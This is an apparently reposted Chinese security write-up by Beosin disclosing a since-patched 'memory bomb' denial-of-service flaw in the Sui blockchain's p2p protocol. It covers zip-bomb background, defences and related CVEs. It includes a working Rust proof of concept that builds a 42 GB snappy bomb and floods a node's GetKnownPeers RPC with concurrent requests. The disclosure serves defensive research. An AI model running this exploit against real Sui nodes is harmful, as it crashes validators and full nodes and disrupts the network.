mt logoMyToken
Market cap:
0%
FGI:
0%
Cryptocurrencies:--
Exchanges --
ETH Gas:--
EN
USD
APP
Ap Store QR Code

Scan Download

Beosin硬核安全研究 :内存炸弹漏洞导致Sui节点崩溃?

Collect
Share

作者:Beosin安全研究专家Poet

目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。

 

前言

此前Beosin安全团队发现了多个公链相关的漏洞,其中有一个漏洞比较有意思,我们与Sui团队沟通后,征得同意可以将其详细信息公开。 这是Sui公链p2p协议中的一个拒绝服务漏洞,该漏洞可导致Sui网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。

本文通过对该漏洞的介绍,希望大家对“内存炸弹”攻击和其防御手段有更多的认识和理解。Beosin作为区块链安全行业的领先者,我们持续关注公链平台的安全性。

什么是内存炸弹?

最早的内存炸弹是zip炸弹,也叫死亡zip, 是一种恶意的计算机文件,会使读取它的程序崩溃或失效。zip炸弹不会劫持程序的操作,而是一个消耗过多时间、磁盘空间或内存来解压缩的压缩包。

zip 炸弹的一个例子是文件42.zip,它是一个由42KB压缩数据组成的zip文件,包含16组的五层嵌套zip文件,每个底层存档包含一个4.3GB字节(4 294 967295 字节;4 GiB − 1 B)的文件,总计 4.5 PB(4503 599626321 920 字节;4 PiB − 1 MiB) 的未压缩数据。

zip炸弹的基本原理是,我们生成一个非常大的内容全是0(或者其他值)的文件,然后压缩成zip文件,由于相同内容的文件的压缩比非常大,此时生成的zip文件非常小。被攻击目标在解压zip文件之后,需要消耗非常多的内存来存储被解压之后的文件,内存会被快速耗尽,目标因为OOM而崩溃。

我们在Windows上做一个简单的实验:

利用如下命令生成一个内容全是0的,大小为1GB的文件:

fsutil file createnew test.txt 1073741824

利用7zip命令,将文件压缩为zip格式:

7z a test.zip test.txt

压缩后的文件大小为:1.20MB

由此我们可以知道,对于全部是0的文件,zip压缩比接近851:1

其实,任何格式的压缩包都有可能成为内存炸弹,不仅仅是zip压缩包。

我们继续这个实验,在Windows上用7zip将1GB的内容全是0的大文件,压缩为不同的格式。这样我们得出下面的压缩比列表:

事实上,不同的文件格式支持不同的压缩算法,比如zip文件支持Deflate、Deflate64、BZIP2、LZMA、PPMd等,不同压缩算法的压缩比是不一样的。上面的表格是基于7zip默认压缩算法的测试结果。

内存炸弹一般防御方法

我们可以通过限制解压后的文件大小来防御“内存炸弹”攻击。以下的方法可以限制解压后的文件大小:

1 解压后的数据大小放入压缩包里面。在压缩文件的某个位置读取这个值,然后判断其大小是否符合要求。

2 第一个方法无法完全解决这个问题,因为解压后的文件大小可以被伪造。所以我们可以传递一个固定大小的Buffer,解压过程中,如果数据大小超出Buffer的边界,那么就停止解压,返回失败信息。

3 还有一个办法是流式解压。一边传入小部分压缩数据,一边解压这个数据,同时累加解压后的数据大小,如果在某一个时刻,解压后的数据大小超过阈值,就停止解压,返回失败信息。

 

历史上的“内存炸弹”漏洞

1 CVE-2023-3782

这是一个OKHttp库的漏洞。OKHttp支持Brotli压缩算法,如果HTTP响应指定了Brotli压缩算法,由于OKHttp没有做“内存炸弹”攻击的防御,客户端会因为内存耗尽而崩溃。

我们可以看到,漏洞补丁限制了压缩系数。

2 CVE-2022-36114

这是Rust包管理器Cargo的一个漏洞。Cargo从代码源下载包的时候,没有做“内存炸弹”防御,导致解压之后的文件占用的磁盘空间非常大。

我们可以看到,漏洞补丁限制解压后的文件大小最大为512MB。

3 CVE-2022-32206

这是知名网络下载工具curl的一个漏洞。curl < 7.84.0 支持“链式”HTTP 压缩算法,这意味着服务器响应可以多次压缩,并且可能使用不同的算法。这个“解压链”中可接受的“链接”数量是无限的,允许恶意服务器插入几乎无限数量的压缩步骤。使用这样的解压链可能会导致“内存炸弹”,使得curl最终花费大量的内存,因内存不足发生错误。

Sui漏洞描述

1 在Sui的p2p协议中,为了减少带宽压力,有部分RPC消息是用snappy算法压缩的。

2 每个Sui节点(不管是validator还是fullnode)在p2p网络中都提供节点发现("/sui.Discovery/GetKnownPeers")和数据同步("/sui.StateSync/PushCheckpointSummary")RPC服务。节点发现和数据同步的RPC消息,实际上是使用snappy压缩过的数据。在处理RPC消息的过程中,节点先将数据全部解压到内存,再用bcs算法反序列化,然后释放解压数据和原始数据。处理RPC数据的代码在"crates/mysten-network/src/codec.rs"文件里:

   impl<U: serde::de::DeserializeOwned> Decoder for BcsSnappyDecoder<U> {        type Item = U;        type Error = bcs::Error;
       fn decode(&mut self, buf: bytes::Bytes) -> Result<Self::Item, Self::Error> {            let compressed_size = buf.len();            let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader());            let mut bytes = Vec::with_capacity(compressed_size);            //Decompress            snappy_decoder.read_to_end(&mut bytes)?;            //Deserialize            bcs::from_bytes(bytes.as_slice())        }    }

3 RPC消息的最大size为2G。这个限制硬编码在"crates/sui-node/src/lib.rs"文件里面:

        let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default();        // Set the max_frame_size to be 2 GB to work around the issue of there being too many        // staking events in the epoch change txn.        anemo_config.max_frame_size = Some(2 << 30);   // size of 2G !!!!!

4 我们可以创建一个1.97G的snappy压缩文件,解压之后变为42G,且文件内容全部为0。

5 选择"/sui.Discovery/GetKnownPeers"这个p2p RPC作为被攻击的接口,向其发送大小为1.97G的RPC消息。那么节点需要至少42+1.97=43.97G的内存来解压这个消息。

6 如果Sui节点(不管是validator还是fullnode)可用内存超过43.97G,那么我们可以同时发送n个RPC消息,这样在某个时间点,sui节点需要m(m一般小于n)个43.97G内存空间才能处理我们的攻击payload。

如果内存不足,sui节点就会崩溃。

以下是我们的测试结果

我们可以看到,节点因为“Out of memory”而被系统“杀死”。

 

PoC

1 创建基于snappy算法的“内存炸弹”

    //generate the "memory bomb"    //48.2M -> 1G    //96.4M -> 2G    //385M  -> 8G    //1.97G -> 42G    //    //set "how_many_gb" to set the decompressed size of "bomb"        let buf = [0; 1024];        let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap();        let mut encoder = snap::write::FrameEncoder::new(&file);        let how_many_gb = 42;        for _i in 0..1024 * 1024 * how_many_gb {            let _ = encoder.write_all(&buf).unwrap();        }        return;

2 攻击节点

pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network {    let router = f(anemo::Router::new());    let mut config = Config::default();    config.max_frame_size = Some(2 << 30);    // config.max_frame_size = Some(usize::MAX);    config.outbound_request_timeout_ms = Some(100 * 1000);    let network = anemo::Network::bind("0.0.0.0:0")        .private_key(random_key())        .server_name(chain_id)        .alternate_server_name("sui")        .config(config)        .start(router)        .unwrap();
   println!(        "starting network {} {}",        network.local_addr(),        network.peer_id(),    );
   network}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> {    let network = build_network(|a| {a},chain_id);    let (mut rec, _a) = network.subscribe()?;    tokio::spawn(async move { handle_event(&mut rec).await });
   let peerid = network.connect(address).await?;
   let mut request = Request::new(buf);    *request.route_mut() = "/sui.Discovery/GetKnownPeers".into();    // *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into();    let response = network.rpc(peerid, request).await?;    println!("{:?}", response);    loop {        sleep(Duration::from_millis(2000)).await;    }}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]async fn main() {    //read the "bomb" file.    let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap();    let mut buf: Vec<u8> = Vec::new();    let _size = in_file.read_to_end(&mut buf).unwrap();    let bs = Bytes::from(buf);
   //you can change "concurrent_attack" to a appropriate number!!!    let concurrent_attack = 20;    let target_ip = "192.168.153.129";    let target_port = 35561;    //you can get your private network's chain_id from the sui-node's stdout.    let chain_id = "sui-76e065b8";    for _i in 0..concurrent_attack {        let bs = bs.clone();        tokio::spawn(async move {            let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await;            println!("error : {:?}", respone);
       });    }
   loop {        sleep(Duration::from_millis(2000)).await;    }}

补丁代码分析

我们可以看到补丁代码利用了流式解压,并限制了解压后的最大大小为1G。同时将RPC消息的大小限制从2G降低为1G。

 

漏洞影响

这个漏洞可以导致单个节点崩溃(validator和fullnode)。 漏洞利用非常简单,只需要启动多个线程向节点发送payload,就可导致节点崩溃,不需要消耗gas费用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影响。

 

漏洞修复

Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。Beosin也将持续关注各大公链上的漏洞,为整个Web3生态护航。

 

Disclaimer: The copyright of this article belongs to the original author and does not represent MyToken(www.mytokencap.com)Opinions and positions; please contact us if you have questions about content